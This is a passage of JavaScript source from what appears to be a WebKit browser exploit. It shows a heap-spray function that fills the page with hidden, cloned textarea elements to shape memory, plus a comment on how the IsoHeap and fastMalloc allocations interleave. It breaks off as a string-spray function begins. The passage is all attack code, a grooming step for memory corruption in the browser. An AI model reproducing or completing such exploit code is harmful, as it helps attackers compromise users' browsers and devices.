| 411 | |
| 412 | /* HTMLElement spray */ |
| 413 | function sprayHTMLTextArea() { |
| 414 | debug_log("[+] Spraying HTMLTextareaElement ..."); |
| 415 | |
| 416 | let textarea_div_elem = document.createElement("div"); |
| 417 | document.body.appendChild(textarea_div_elem); |
| 418 | textarea_div_elem.id = "div1"; |
| 419 | var element = document.createElement("textarea"); |
| 420 | |
| 421 | /* Add a style to avoid textarea display */ |
| 422 | element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;'; |
| 423 | |
| 424 | /* |
| 425 | * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc |
| 426 | * allocation of the node attributes and an IsoHeap allocation of the |
| 427 | * Element. The virtual page layout will look something like that: |
| 428 | * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...] |
| 429 | */ |
| 430 | for (let i = 0; i < SPRAY_ELEM_SIZE; i++) |
| 431 | textarea_div_elem.appendChild(element.cloneNode()); |
| 432 | } |
| 433 | |
| 434 | /* StringImpl Spray */ |
| 435 | function sprayStringImpl(start, end) { |